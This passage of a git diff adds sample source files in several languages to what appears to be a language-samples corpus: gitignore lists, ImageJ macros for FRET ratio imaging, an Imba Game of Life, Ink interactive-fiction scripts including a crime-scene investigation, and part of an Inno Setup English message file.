+tsconfig.json
+vsc-extension-quickstart.md
diff --git a/samples/Ignore List/filenames/gitignore-global b/samples/Ignore List/filenames/gitignore-global
new file mode 100644
index 0000000000..93965b6475
--- /dev/null
+++ b/samples/Ignore List/filenames/gitignore-global	
@@ -0,0 +1,14 @@
+# Compiled Python files
+*.pyc
+
+# Folder view configuration files
+.DS_Store
+Desktop.ini
+
+# Thumbnail cache files
+._*
+Thumbs.db
+
+# Files that might appear on external disks
+.Spotlight-V100
+.Trashes
diff --git a/samples/Ignore List/filenames/gitignore_global b/samples/Ignore List/filenames/gitignore_global
new file mode 100644
index 0000000000..d887676551
--- /dev/null
+++ b/samples/Ignore List/filenames/gitignore_global	
@@ -0,0 +1,98 @@
+*.class
+*.log
+
+# sbt specific
+.cache/
+.history/
+.lib/
+dist/*
+target/
+lib_managed/
+src_managed/
+project/boot/
+project/plugins/project/
+
+# Scala-IDE specific
+.scala_dependencies
+.worksheet
+
+# Simple Build Tool
+# http://www.scala-sbt.org/release/docs/Getting-Started/Directories.html#configuring-version-control
+
+target/
+lib_managed/
+src_managed/
+project/boot/
+.history
+.cache
+
+[._]*.s[a-w][a-z]
+[._]s[a-w][a-z]
+*.un~
+Session.vim
+.netrwhist
+*~
+
+# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm
+
+/*.iml
+
+## Directory-based project format:
+.idea/
+# if you remove the above rule, at least ignore the following:
+
+# User-specific stuff:
+# .idea/workspace.xml
+# .idea/tasks.xml
+# .idea/dictionaries
+
+# Sensitive or high-churn files:
+# .idea/dataSources.ids
+# .idea/dataSources.xml
+# .idea/sqlDataSources.xml
+# .idea/dynamic.xml
+# .idea/uiDesigner.xml
+
+# Gradle:
+# .idea/gradle.xml
+# .idea/libraries
+
+# Mongo Explorer plugin:
+# .idea/mongoSettings.xml
+
+## File-based project format:
+*.ipr
+*.iws
+
+## Plugin-specific files:
+
+# IntelliJ
+out/
+
+# mpeltonen/sbt-idea plugin
+.idea_modules/
+
+# JIRA plugin
+atlassian-ide-plugin.xml
+
+# Crashlytics plugin (for Android Studio and IntelliJ)
+com_crashlytics_export_strings.xml
+
+.ruby-version
+.ruby-gemset
+
+.vimrc
+
+.env.*
+
+.agignore
+.ignore
+
+TAGS
+tags
+GPATH
+GRTAGS
+GTAGS
+cscope.files
+cscope.out
+.clang_complete
diff --git a/samples/ImageJ Macro/batch of ratiometric FRET using IO settings.ijm b/samples/ImageJ Macro/batch of ratiometric FRET using IO settings.ijm
new file mode 100644
index 0000000000..c3b88a46ba
--- /dev/null
+++ b/samples/ImageJ Macro/batch of ratiometric FRET using IO settings.ijm	
@@ -0,0 +1,92 @@
+/**
+*macro to measure the ratio image (FRET/CFP) in 32 bits
+*it's necessary to create 3 folders for CFP images and FRET images and one folder for the analysis*
+*macro developped by MRI
+
+*/
+
+
+CH1 = "w1CFP";
+CH2 = "w2FRET CY";
+
+dir3 = getDirectory("Choose Destination Directory ");
+
+call("fr.cnrs.mri.macro.io.IOSettings.resetFileLists");
+call("fr.cnrs.mri.macro.io.IOSettings.show");
+waitForUser("Please select the input files using the IO_Settings dialog and press ok");
+
+fileList = call("fr.cnrs.mri.macro.io.IOSettings.getFileList");
+if (fileList=="none") {IJ.log("No files selected! Macro stopped."); return;}
+files = split(fileList, ",");
+
+//setBatchMode(true);
+for (i=0; i<files.length; i++) {
+   	showProgress(i+1, files.length);
+    	 open(files[i]);
+	nameCFP = getTitle();
+	fretFile = replace(files[i], CH1, CH2);
+	open(fretFile);
+            nameFRET = getTitle();
+
+	run("Clear Results");
+	run("Set Measurements...", "  mean redirect=None decimal=3");
+
+	selectWindow(nameCFP);
+	setTool("rectangle");
+	run("Select None");
+	waitForUser("Select areas","Select the area of background and click 'OK'"); 
+	roiManager("Add");
+	roiManager("Remove Slice Info");
+
+	for (j=1; j<=nSlices; j++) {
+   		  showProgress(j, nSlices);
+   		  setSlice(j);
+			roiManager("Select", 0);
+          			selectWindow(nameCFP);
+           			run("Measure");
+			mean = getResult("Mean");
+			selectWindow(nameCFP);
+			run("Select None");
+			run("Subtract...", "value=mean slice");
+          			 run("Clear Results");   
+			 }
+
+ 
+
+            selectWindow(nameFRET);
+	for (k=1; k<=nSlices; k++) {
+   		  showProgress(k, nSlices);
+   		  setSlice(k);
+			roiManager("Select", 0);
+          			selectWindow(nameFRET);
+           			run("Measure");
+			mean = getResult("Mean");
+			selectWindow(nameFRET);
+			run("Select None");
+			run("Subtract...", "value=mean slice");
+          			 run("Clear Results");   
+			 }
+
+
+	roiManager("Deselect");
+	roiManager("Delete");
+
+
+            selectWindow(nameFRET);
+	run("Duplicate...", "title=mask duplicate range=1-nSlices");
+	run("Threshold...");
+	waitForUser("Set mask","Threshold set?");  
+	run("Make Binary", " ");
+	nameMask = getTitle();
+	run("Subtract...", "value=254 stack");
+
+	imageCalculator("Multiply stack", nameCFP, nameMask);
+	imageCalculator("Multiply stack", nameFRET, nameMask);
+	imageCalculator("Divide create 32-bit stack", nameFRET, nameCFP);
+	rename("ratio");
+	nameRatio = getTitle();
+	save(dir3+nameRatio+nameCFP+"-"+i+".tif");
+	
+
+run("Close All");
+  }
diff --git a/samples/ImageJ Macro/simple.ijm b/samples/ImageJ Macro/simple.ijm
new file mode 100644
index 0000000000..5162e88167
--- /dev/null
+++ b/samples/ImageJ Macro/simple.ijm	
@@ -0,0 +1,27 @@
+// This macro demonstrates the use of the Roi.* functions.
+
+  requires("1.48h");
+  run("Blobs (25K)");
+  makePolygon(72,78,155,43,205,111,143,156,74,138);
+  print("type: "+Roi.getType);
+  print("name: \""+Roi.getName()+"\"");
+  print("stroke color: "+Roi.getStrokeColor);
+  print("fill color: "+Roi.getFillColor);;
+  Roi.getBounds(x,y,w,h);
+  print("bounds: ",x,y,w,h);
+  Roi.getCoordinates(x, y);
+  print("coordinates");
+  for (i=0; i<x.length; i++)
+     print("  ", i, x[i], y[i]);
+  Roi.setProperty("test", "Test Property");
+  print("property (test): "+Roi.getProperty("test"));
+  Roi.setName("Polygon Selection");
+  print("new name: \""+Roi.getName()+"\"");
+  Roi.setStrokeWidth(8);
+  Roi.setStrokeColor("red");
+  print("new stroke color: "+Roi.getStrokeColor);;
+  wait(2000);
+  Roi.setFillColor("550000ff");
+  wait(2000);
+  Roi.move(10, 10);
+  print("new fill color: "+Roi.getFillColor);
diff --git a/samples/Imba/main.imba b/samples/Imba/main.imba
new file mode 100644
index 0000000000..777aa6a4ff
--- /dev/null
+++ b/samples/Imba/main.imba
@@ -0,0 +1,97 @@
+let stdout = process.stdout
+let clear_screen = do stdout.write "\x1b[2J"
+let hide_cursor = do stdout.write "\x1b[?25l"
+let show_cursor = do stdout.write "\x1b[?25h"
+let smcup = do stdout.write "\x1b[?1049h"
+let rmcup = do stdout.write "\x1b[?1049l"
+let place_cursor = do stdout.write "\x1b[1;1H"
+
+let alive_cell_char = "◼"
+let dead_cell_char = " "
+
+class Game
+
+	constructor rows, cols
+		self.rows = rows
+		self.cols = cols
+		self.board = get_empty_board!
+		randomize_board!
+
+	def get_empty_board
+		new Array((rows + 2) * (cols + 2)).fill(no)
+
+	def idx i, j
+		(i + 1) * (cols + 2) + (j + 1)
+
+	def randomize_board
+		for i in [0 .. rows - 1]
+			for j in [0 .. cols - 1]
+				board[idx(i, j)] = Math.random! < 0.5
+
+	def print_whole_board
+		let s = ""
+		for cell, i in board
+			if cell
+				s += alive_cell_char
+			else
+				s += dead_cell_char
+			if (i + 1) % (cols + 2) == 0
+				s += "\n"
+		stdout.write s
+
+	def print_board
+		let s = ""
+		for i in [0 .. rows - 1]
+			for j in [0 .. cols - 1]
+				if board[idx(i, j)]
+					s += alive_cell_char
+				else
+					s += dead_cell_char
+			s += "\n"
+		stdout.write s
+
+	def count_neighbors i, j
+		board[idx(i - 1, j - 1)] +
+		board[idx(i - 1, j)] +
+		board[idx(i - 1, j + 1)] +
+		board[idx(i, j - 1)] +
+		board[idx(i, j + 1)] +
+		board[idx(i + 1, j - 1)] +
+		board[idx(i + 1, j)] +
+		board[idx(i + 1, j + 1)]
+
+	def tick
+		let next = get_empty_board!
+		let nc
+		for i in [0 .. rows - 1]
+			for j in [0 .. cols - 1]
+				nc = count_neighbors i, j
+				next[idx(i, j)] = board[idx(i, j)] and nc == 2 or nc == 3
+		board = next
+
+process.on('exit') do
+	clear_screen!
+	show_cursor!
+	rmcup!
+
+process.on('SIGINT', process.exit)
+
+def main
+	smcup!
+	hide_cursor!
+	let game = new Game rows, cols
+	let count = 0
+	setInterval(&, 50) do
+		if count > max_generations
+			clearInterval this
+		place_cursor!
+		stdout.write "{count}/{max_generations}\n"
+		game.print_board!
+		game.tick!
+		count += 1
+
+let max_generations = 500
+let delay = 50
+let rows = stdout.rows >>> 1
+let cols = stdout.columns >>> 1
+main!
diff --git a/samples/Ink/murder_scene.ink b/samples/Ink/murder_scene.ink
new file mode 100644
index 0000000000..d741daca47
--- /dev/null
+++ b/samples/Ink/murder_scene.ink
@@ -0,0 +1,352 @@
+
+/*
+
+    This is a long example of a crime scene investigation, from the Writing with Ink chapter on Lists.
+
+*/
+
+-> murder_scene
+
+// Helper function: popping elements from lists
+=== function pop(ref list)
+   ~ temp x = LIST_MIN(list) 
+   ~ list -= x 
+   ~ return x
+
+//
+//  System: items can have various states
+//  Some are general, some specific to particular items
+//
+
+
+LIST OffOn = off, on
+LIST SeenUnseen = unseen, seen
+
+LIST GlassState = (none), steamed, steam_gone
+LIST BedState = (made_up), covers_shifted, covers_off, bloodstain_visible
+
+//
+// System: inventory
+//
+
+LIST Inventory = (none), cane, knife
+
+=== function get(x)
+    ~ Inventory += x
+
+//
+// System: positioning things
+// Items can be put in and on places
+//
+
+LIST Supporters = on_desk, on_floor, on_bed, under_bed, held, with_joe
+
+=== function move_to_supporter(ref item_state, new_supporter) ===
+    ~ item_state -= LIST_ALL(Supporters)
+    ~ item_state += new_supporter
+
+
+// System: Incremental knowledge.
+// Each list is a chain of facts. Each fact supersedes the fact before 
+//
+
+VAR knowledgeState = ()
+
+=== function reached (x) 
+   ~ return knowledgeState ? x 
+
+=== function between(x, y) 
+   ~ return knowledgeState? x && not (knowledgeState ^ y)
+
+=== function reach(statesToSet) 
+   ~ temp x = pop(statesToSet)
+   {
+   - not x: 
+      ~ return false 
+
+   - not reached(x):
+      ~ temp chain = LIST_ALL(x)
+      ~ temp statesGained = LIST_RANGE(chain, LIST_MIN(chain), x)
+      ~ knowledgeState += statesGained
+      ~ reach (statesToSet)     // set any other states left to set
+      ~ return true            // and we set this state, so true
+ 
+    - else:
+      ~ return false || reach(statesToSet) 
+    }   
+
+//
+// Set up the game
+//
+
+VAR bedroomLightState = (off, on_desk)
+
+VAR knifeState = (under_bed)
+
+
+//
+// Knowledge chains
+//
+
+
+LIST BedKnowledge = neatly_made, crumpled_duvet, hastily_remade, body_on_bed, murdered_in_bed, murdered_while_asleep
+
+LIST KnifeKnowledge = prints_on_knife, joe_seen_prints_on_knife,joe_wants_better_prints, joe_got_better_prints
+
+LIST WindowKnowledge = steam_on_glass, fingerprints_on_glass, fingerprints_on_glass_match_knife
+
+
+//
+// Content
+//
+
+=== murder_scene ===
+    The bedroom. This is where it happened. Now to look for clues.
+- (top)
+    { bedroomLightState ? seen:     <- seen_light  }
+    <- compare_prints(-> top)
+
+    *   (dobed) [The bed...]
+        The bed was low to the ground, but not so low something might not roll underneath. It was still neatly made.
+        ~ reach (neatly_made)
+        - - (bedhub)
+        * *     [Lift the bedcover]
+                I lifted back the bedcover. The duvet underneath was crumpled.
+                ~ reach (crumpled_duvet)
+                ~ BedState = covers_shifted
+        * *     (uncover) {reached(crumpled_duvet)}
+                [Remove the cover]
+                Careful not to disturb anything beneath, I removed the cover entirely. The duvet below was rumpled.
+                Not the work of the maid, who was conscientious to a point. Clearly this had been thrown on in a hurry.
+                ~ reach (hastily_remade)
+                ~ BedState = covers_off
+        * *     (duvet) {BedState == covers_off} [ Pull back the duvet ]
+                I pulled back the duvet. Beneath it was a sheet, sticky with blood.
+                ~ BedState = bloodstain_visible
+                ~ reach (body_on_bed)
+                Either the body had been moved here before being dragged to the floor - or this is was where the murder had taken place.
+        * *     {BedState !? made_up} [ Remake the bed ]
+                Carefully, I pulled the bedsheets back into place, trying to make it seem undisturbed.
+                ~ BedState = made_up
+        * *     [Test the bed]
+                I pushed the bed with spread fingers. It creaked a little, but not so much as to be obnoxious.
+        * *     (darkunder) [Look under the bed]
+                Lying down, I peered under the bed, but could make nothing out.
+
+        * *     {TURNS_SINCE(-> dobed) > 1} [Something else?]
+                I took a step back from the bed and looked around.
+                -> top
+        - -     -> bedhub
+
+    *   {darkunder && bedroomLightState ? on_floor && bedroomLightState ? on}
+        [ Look under the bed ]
+        I peered under the bed. Something glinted back at me.
+        - - (reaching)
+        * *     [ Reach for it ]
+                I fished with one arm under the bed, but whatever it was, it had been kicked far enough back that I couldn't get my fingers on it.
+                -> reaching
+        * *     {Inventory ? cane} [Knock it with the cane]
+                -> knock_with_cane
+
+        * *     {reaching > 1 } [ Stand up ]
+                I stood up once more, and brushed my coat down.
+                -> top
+
+    *   (knock_with_cane) {reaching && TURNS_SINCE(-> reaching) >= 4 &&  Inventory ? cane } [Use the cane to reach under the bed ]
+        Positioning the cane above the carpet, I gave the glinting thing a sharp tap. It slid out from the under the foot of the bed.
+        ~ move_to_supporter( knifeState, on_floor )
+        * *     (standup) [Stand up]
+                Satisfied, I stood up, and saw I had knocked free a bloodied knife.
+                -> top
+
+        * *     [Look under the bed once more]
+                Moving the cane aside, I looked under the bed once more, but there was nothing more there.
+                -> standup
+
+    *   {knifeState ? on_floor} [Pick up the knife]
+        Careful not to touch the handle, I lifted the blade from the carpet.
+        ~ get(knife)
+
+    *   {Inventory ? knife} [Look at the knife]
+        The blood was dry enough. Dry enough to show up partial prints on the hilt!
+        ~ reach (prints_on_knife)
+
+    *   [   The desk... ]
+        I turned my attention to the desk. A lamp sat in one corner, a neat, empty in-tray in the other. There was nothing else out.
+        Leaning against the desk was a wooden cane.
+        ~ bedroomLightState += seen
+
+        - - (deskstate)
+        * *     (pickup_cane) {Inventory !? cane}  [Pick up the cane ]
+                ~ get(cane)
+              I picked up the wooden cane. It was heavy, and unmarked.
+
+        * *    { bedroomLightState !? on } [Turn on the lamp]
+                -> operate_lamp ->
+
+        * *     [Look at the in-tray ]
+                I regarded the in-tray, but there was nothing to be seen. Either the victim's papers were taken, or his line of work had seriously dried up. Or the in-tray was all for show.
+
+        + +     (open)  {open < 3} [Open a drawer]
+                I tried {a drawer at random|another drawer|a third drawer}. {Locked|Also locked|Unsurprisingly, locked as well}.
+
+        * *     {deskstate >= 2} [Something else?]
+                I took a step away from the desk once more.
+                -> top
+
+        - -     -> deskstate
+
+    *     {(Inventory ? cane) && TURNS_SINCE(-> deskstate) <= 2} [Swoosh the cane]
+        I was still holding the cane: I gave it an experimental swoosh. It was heavy indeed, though not heavy enough to be used as a bludgeon.
+        But it might have been useful in self-defence. Why hadn't the victim reached for it? Knocked it over?
+
+    *   [The window...]
+        I went over to the window and peered out. A dismal view of the little brook that ran down beside the house.
+
+        - - (window_opts)
+        <- compare_prints(-> window_opts)
+        * *     (downy) [Look down at the brook]
+                { GlassState ? steamed:
+                    Through the steamed glass I couldn't see the brook. -> see_prints_on_glass -> window_opts
+                }
+                I watched the little stream rush past for a while. The house probably had damp but otherwise, it told me nothing.
+        * *     (greasy) [Look at the glass]
+                { GlassState ? steamed: -> downy }
+                The glass in the window was greasy. No one had cleaned it in a while, inside or out.
+        * *     { GlassState ? steamed && not see_prints_on_glass && downy && greasy }
+                [ Look at the steam ]
+                A cold day outside. Natural my breath should steam. -> see_prints_on_glass ->
+        + +     {GlassState ? steam_gone} [ Breathe on the glass ]
+                I breathed gently on the glass once more. { reached (fingerprints_on_glass): The fingerprints reappeared. }
+                ~ GlassState = steamed
+
+        + +     [Something else?]
+                { window_opts < 2 || reached (fingerprints_on_glass) || GlassState ? steamed:
+                    I looked away from the dreary glass.
+                    {GlassState ? steamed:
+                        ~ GlassState = steam_gone
+                        <> The steam from my breath faded.
+                    }
+                    -> top
+                }
+                I leant back from the glass. My breath had steamed up the pane a little.
+               ~ GlassState = steamed
+
+        - -     -> window_opts
+
+    *   {top >= 5} [Leave the room]
+        I'd seen enough. I {bedroomLightState ? on:switched off the lamp, then} turned and left the room.
+        -> joe_in_hall
+
+    -   -> top
+
+
+= operate_lamp
+    I flicked the light switch.
+    { bedroomLightState ? on:
+        <> The bulb fell dark.
+        ~ bedroomLightState += off
+        ~ bedroomLightState -= on
+    - else:
+        { bedroomLightState ? on_floor: <> A little light spilled under the bed.} { bedroomLightState ? on_desk : <> The light gleamed on the polished tabletop. }
+        ~ bedroomLightState -= off
+        ~ bedroomLightState += on
+    }
+    ->->
+
+
+= compare_prints (-> backto)
+    *   { between ((fingerprints_on_glass, prints_on_knife),     fingerprints_on_glass_match_knife) } 
+[Compare the prints on the knife and the window ]
+        Holding the bloodied knife near the window, I breathed to bring out the prints once more, and compared them as best I could.
+        Hardly scientific, but they seemed very similar - very similiar indeed.
+        ~ reach (fingerprints_on_glass_match_knife)
+        -> backto
+
+= see_prints_on_glass
+    ~ reach (fingerprints_on_glass)
+    {But I could see a few fingerprints, as though someone hadpressed their palm against it.|The fingerprints were quite clear and well-formed.} They faded as I watched.
+    ~ GlassState = steam_gone
+    ->->
+
+= seen_light
+    *   {bedroomLightState !? on} [ Turn on lamp ]
+        -> operate_lamp ->
+
+    *   { bedroomLightState !? on_bed  && BedState ? bloodstain_visible }
+        [ Move the light to the bed ]
+        ~ move_to_supporter(bedroomLightState, on_bed)
+
+        I moved the light over to the bloodstain and peered closely at it. It had soaked deeply into the fibres of the cotton sheet.
+        There was no doubt about it. This was where the blow had been struck.
+        ~ reach (murdered_in_bed)
+
+    *   { bedroomLightState !? on_desk } {TURNS_SINCE(-> floorit) >= 2 }
+        [ Move the light back to the desk ]
+        ~ move_to_supporter(bedroomLightState, on_desk)
+        I moved the light back to the desk, setting it down where it had originally been.
+    *   (floorit) { bedroomLightState !? on_floor && darkunder }
+        [Move the light to the floor ]
+        ~ move_to_supporter(bedroomLightState, on_floor)
+        I picked the light up and set it down on the floor.
+    -   -> top
+
+=== joe_in_hall
+    My police contact, Joe, was waiting in the hall. 'So?' he demanded. 'Did you find anything interesting?'
+- (found)
+    *   {found == 1} 'Nothing.'
+        He shrugged. 'Shame.'
+        -> done
+    *   { Inventory ? knife } 'I found the murder weapon.'
+        'Good going!' Joe replied with a grin. 'We thought the murderer had gotten rid of it. I'll bag that for you now.'
+        ~ move_to_supporter(knifeState, with_joe)
+
+    *   {reached(prints_on_knife)} { knifeState ? with_joe }
+        'There are prints on the blade[.'],' I told him.
+        He regarded them carefully.
+        'Hrm. Not very complete. It'll be hard to get a match from these.'
+        ~ reach (joe_seen_prints_on_knife)
+    *   { reached((fingerprints_on_glass_match_knife, joe_seen_prints_on_knife)) }
+        'They match a set of prints on the window, too.'
+        'Anyone could have touched the window,' Joe replied thoughtfully. 'But if they're more complete, they should help us get a decent match!'
+        ~ reach (joe_wants_better_prints)
+    *   { between(body_on_bed, murdered_in_bed)}
+        'The body was moved to the bed at some point[.'],' I told him. 'And then moved back to the floor.'
+        'Why?'
+        * *     'I don't know.'
+                Joe nods. 'All right.'
+        * *     'Perhaps to get something from the floor?'
+                'You wouldn't move a whole body for that.'
+        * *     'Perhaps he was killed in bed.'
+                'It's just speculation at this point,' Joe remarks.
+    *   { reached(murdered_in_bed) }
+        'The victim was murdered in bed, and then the body was moved to the floor.'
+        'Why?'
+        * *     'I don't know.'
+                Joe nods. 'All right, then.'
+        * *     'Perhaps the murderer wanted to mislead us.'
+                'How so?'
+            * * *   'They wanted us to think the victim was awake[.'], I replied thoughtfully. 'That they were meeting their attacker, rather than being stabbed in their sleep.'
+            * * *   'They wanted us to think there was some kind of struggle[.'],' I replied. 'That the victim wasn't simply stabbed in their sleep.'
+            - - -   'But if they were killed in bed, that's most likely what happened. Stabbed, while sleeping.'
+                    ~ reach (murdered_while_asleep)
+        * *     'Perhaps the murderer hoped to clean up the scene.'
+                'But they were disturbed? It's possible.'
+
+    *   { found > 1} 'That's it.'
+        'All right. It's a start,' Joe replied.
+        -> done
+    -   -> found
+-   (done)
+    {
+    - between(joe_wants_better_prints, joe_got_better_prints):
+        ~ reach (joe_got_better_prints)
+        <> 'I'll get those prints from the window now.'
+    - reached(joe_seen_prints_on_knife):
+        <> 'I'll run those prints as best I can.'
+    - else:
+        <> 'Not much to go on.'
+    }
+    -> END
+
+
diff --git a/samples/Ink/print_number.ink b/samples/Ink/print_number.ink
new file mode 100644
index 0000000000..59aae1d1bf
--- /dev/null
+++ b/samples/Ink/print_number.ink
@@ -0,0 +1,70 @@
+/*
+    Converts a number between -1,000,000,000 and 1,000,000,000 into its printed (integer) equivalent.
+
+    Usage: 
+
+    There are {print_number(RANDOM(100000,10000000))} stars in the sky.
+
+    Pi is roughly {print_number(3.1417)}.
+
+*/
+
+=== function print_number(x) 
+~ x = INT(x) // cast to an int, since this function can only handle ints!
+{
+    - x >= 1000000:
+        ~ temp k = x mod 1000000
+        {print_number((x - k) / 1000000)} million{ k > 0:{k < 100: and|{x mod 100 != 0:<>,}} {print_number(k)}}
+    - x >= 1000:
+        ~ temp y = x mod 1000
+        {print_number((x - y) / 1000)} thousand{ y > 0:{y < 100: and|{x mod 100 != 0:<>,}} {print_number(y)}}
+    - x >= 100:
+        ~ temp z = x mod 100
+        {print_number((x - z) / 100)} hundred {z > 0:and {print_number(z)}}
+    - x == 0:
+        zero
+    - x < 0: 
+        minus {print_number(-1 * x)}
+    - else:
+        { x >= 20:
+            { x / 10:
+                - 2: twenty
+                - 3: thirty
+                - 4: forty
+                - 5: fifty
+                - 6: sixty
+                - 7: seventy
+                - 8: eighty
+                - 9: ninety
+            }
+            { x mod 10 > 0:
+                <>-<>
+            }
+        }
+        { x < 10 || x > 20:
+            { x mod 10:
+                - 1: one
+                - 2: two
+                - 3: three
+                - 4: four
+                - 5: five
+                - 6: six
+                - 7: seven
+                - 8: eight
+                - 9: nine
+            }
+        - else:
+            { x:
+                - 10: ten
+                - 11: eleven
+                - 12: twelve
+                - 13: thirteen
+                - 14: fourteen
+                - 15: fifteen
+                - 16: sixteen
+                - 17: seventeen
+                - 18: eighteen
+                - 19: nineteen
+            }
+        }
+} 
diff --git a/samples/Ink/seen_this_scene.ink b/samples/Ink/seen_this_scene.ink
new file mode 100644
index 0000000000..8a69d14940
--- /dev/null
+++ b/samples/Ink/seen_this_scene.ink
@@ -0,0 +1,51 @@
+/*
+	Tests if the flow has reached a particular gather "this scene". This is an extension of "seen_more_recently_than", but it's so useful it's worth having separately.
+
+	Usage: 
+
+	// define where the start of the scene is
+	~ sceneStart = -> start_of_scene
+
+	- (start_of_scene)
+		"Welcome!"
+
+	- (opts)	
+		<- cough_politely(-> opts)
+
+		*	{ seen_this_scene(-> cough_politely.cough) }
+			"Hello!"
+		
+		+	{ not seen_this_scene(-> cough_politely.cough) }
+			["Hello!"]
+			I try to speak, but I can't get the words out!
+			-> opts
+
+
+		
+	=== cough_politely(-> go_to)
+		*	(cough) [Cough politely]
+			I clear my throat. 
+			-> go_to
+		
+*/
+
+
+VAR sceneStart = -> seen_this_scene 
+
+=== function seen_this_scene(-> link)
+	{  sceneStart == -> seen_this_scene:
+		[ERROR] - you need to initialise the sceneStart variable before using "seen_this_scene"!
+		~ return false
+	}
+	~ return seen_more_recently_than(link, sceneStart)
+	
+
+=== function seen_more_recently_than(-> link, -> marker)
+	{ TURNS_SINCE(link) >= 0: 
+        { TURNS_SINCE(marker) == -1: 
+            ~ return true 
+        } 
+        ~ return TURNS_SINCE(link) < TURNS_SINCE(marker) 
+    }
+    ~ return false 
+
diff --git a/samples/Ink/string_to_list.ink b/samples/Ink/string_to_list.ink
new file mode 100644
index 0000000000..0ab685ce24
--- /dev/null
+++ b/samples/Ink/string_to_list.ink
@@ -0,0 +1,59 @@
+
+/*
+	Converts a string to the corresponding list element from a particular list. Note the element doesn't need to be in the list variable at that moment in time! 
+
+	Useful for sending parameters into the ink from the game: the game can store and pass in the string ID of the list element as a parameter.
+
+	Returns the empty list () if the element isn't found.
+
+	Usage: 
+
+	LIST capitalCities = Paris, London, NewYork
+
+	~ temp thisCity = string_to_list("Paris", capitalCities)
+	~ capitalCities += thisCity
+	I've now visited {thisCity}.
+
+	Optimisation:
+
+	The code below works in inky, but can be externalised to speed up performance in game, with the following external C# function binding:
+
+	story.BindExternalFunction("STRING_TO_LIST", (string itemKey) => {
+        try
+        {
+            return InkList.FromString(itemKey, story);
+        }
+        catch
+        {
+            return new InkList();
+        }
+    }, true);
+
+*/
+
+=== function string_to_list(stringElement, listSource)
+    ~ temp retVal = STRING_TO_LIST(stringElement) 
+    { USED_STRING_TO_LIST_FALLBACK:
+    	~ retVal = stringAsPickedFromList(stringElement, LIST_ALL(listSource) ) 
+    }
+     ~ return retVal
+
+
+EXTERNAL STRING_TO_LIST(stringElement) 
+=== function STRING_TO_LIST(stringElement) 
+    ~ return USED_STRING_TO_LIST_FALLBACK()
+
+=== function USED_STRING_TO_LIST_FALLBACK() 
+	// this stub function is used to detect that the game isn't using an external function
+    ~ return     
+
+// fallback system: recurse through the listToTry, trying to string match the element name
+=== function stringAsPickedFromList(stringElement, listToTry)
+    ~ temp minElement = LIST_MIN(listToTry) 
+    {minElement:
+        { stringElement == "{minElement}":
+            ~ return minElement
+        }
+        ~ return stringAsPickedFromList(stringElement, listToTry - minElement)
+    }       
+    ~ return () 
\ No newline at end of file
diff --git a/samples/Ink/thread_in_tunnel.ink b/samples/Ink/thread_in_tunnel.ink
new file mode 100644
index 0000000000..82beb7f038
--- /dev/null
+++ b/samples/Ink/thread_in_tunnel.ink
@@ -0,0 +1,49 @@
+
+/*
+	Threads in a given flow as a tunnel, with a given location to tunnel back to. 
+
+	If choices within this content are taken, they should end with a tunnel return (->->).
+
+	Useful for "pasting in" the same block of optional content into multiple locations.
+
+	Usage: 
+
+
+	- (opts)
+		<- thread_in_tunnel(-> eat_apple, -> opts)
+		<- thread_in_tunnel(-> eat_banana, -> get_going)
+		*	[ Leave hungry ]
+			-> get_going
+
+	=== get_going
+		You leave. 
+		-> END 
+
+	=== eat_apple 
+		*	[ Eat an apple ]
+			You eat an apple. It doesn't help.
+			->->
+
+	=== eat_banana 
+		*	[ Eat a banana ]
+			You eat a banana. It's very satisfying.
+			->->
+		
+		
+*/
+
+=== thread_in_tunnel(-> tunnel_to_run, -> place_to_return_to)
+
+    ~ temp entryTurnChoice = TURNS()
+    
+    -> tunnel_to_run ->
+ 
+ 	// if the tunnel contained choices which were chosen, then the turn count will 
+ 	// have increased, so we should use the given return point to continue the flow.
+    {entryTurnChoice != TURNS():
+        -> place_to_return_to      
+    }  
+
+    // otherwise the given tunnel simply ran through, in which case we should treat
+    // this as a side-thread, and close it down.
+    -> DONE 
\ No newline at end of file
diff --git a/samples/Inno Setup/Default.isl b/samples/Inno Setup/Default.isl
new file mode 100644
index 0000000000..67ebc6ccb5
--- /dev/null
+++ b/samples/Inno Setup/Default.isl	
@@ -0,0 +1,364 @@
+; *** Inno Setup version 6.0.3+ English messages ***
+;
+; To download user-contributed translations of this file, go to:
+;   https://jrsoftware.org/files/istrans/
+;
+; Note: When translating this text, do not add periods (.) to the end of
+; messages that didn't have them already, because on those messages Inno
+; Setup adds the periods automatically (appending a period would result in
+; two periods being displayed).
+
+[LangOptions]
+; The following three entries are very important. Be sure to read and
+; understand the '[LangOptions] section' topic in the help file.
+LanguageName=English
+LanguageID=$0409
+LanguageCodePage=0
+; If the language you are translating to requires special font faces or
+; sizes, uncomment any of the following entries and change them accordingly.
+;DialogFontName=
+;DialogFontSize=8
+;WelcomeFontName=Verdana
+;WelcomeFontSize=12
+;TitleFontName=Arial
+;TitleFontSize=29
+;CopyrightFontName=Arial
+;CopyrightFontSize=8
+
+[Messages]
+
+; *** Application titles
+SetupAppTitle=Setup
+SetupWindowTitle=Setup - %1
+UninstallAppTitle=Uninstall
+UninstallAppFullTitle=%1 Uninstall
+
+; *** Misc. common
+InformationTitle=Information
+ConfirmTitle=Confirm
+ErrorTitle=Error
+
+; *** SetupLdr messages
+SetupLdrStartupMessage=This will install %1. Do you wish to continue?
+LdrCannotCreateTemp=Unable to create a temporary file. Setup aborted
+LdrCannotExecTemp=Unable to execute file in the temporary directory. Setup aborted
+HelpTextNote=
+
+; *** Startup error messages
+LastErrorMessage=%1.%n%nError %2: %3
+SetupFileMissing=The file %1 is missing from the installation directory. Please correct the problem or obtain a new copy of the program.
+SetupFileCorrupt=The setup files are corrupted. Please obtain a new copy of the program.
+SetupFileCorruptOrWrongVer=The setup files are corrupted, or are incompatible with this version of Setup. Please correct the problem or obtain a new copy of the program.
+InvalidParameter=An invalid parameter was passed on the command line:%n%n%1
+SetupAlreadyRunning=Setup is already running.
+WindowsVersionNotSupported=This program does not support the version of Windows your computer is running.
+WindowsServicePackRequired=This program requires %1 Service Pack %2 or later.
+NotOnThisPlatform=This program will not run on %1.
+OnlyOnThisPlatform=This program must be run on %1.
+OnlyOnTheseArchitectures=This program can only be installed on versions of Windows designed for the following processor architectures:%n%n%1
+WinVersionTooLowError=This program requires %1 version %2 or later.
+WinVersionTooHighError=This program cannot be installed on %1 version %2 or later.
+AdminPrivilegesRequired=You must be logged in as an administrator when installing this program.
+PowerUserPrivilegesRequired=You must be logged in as an administrator or as a member of the Power Users group when installing this program.
+SetupAppRunningError=Setup has detected that %1 is currently running.%n%nPlease close all instances of it now, then click OK to continue, or Cancel to exit.
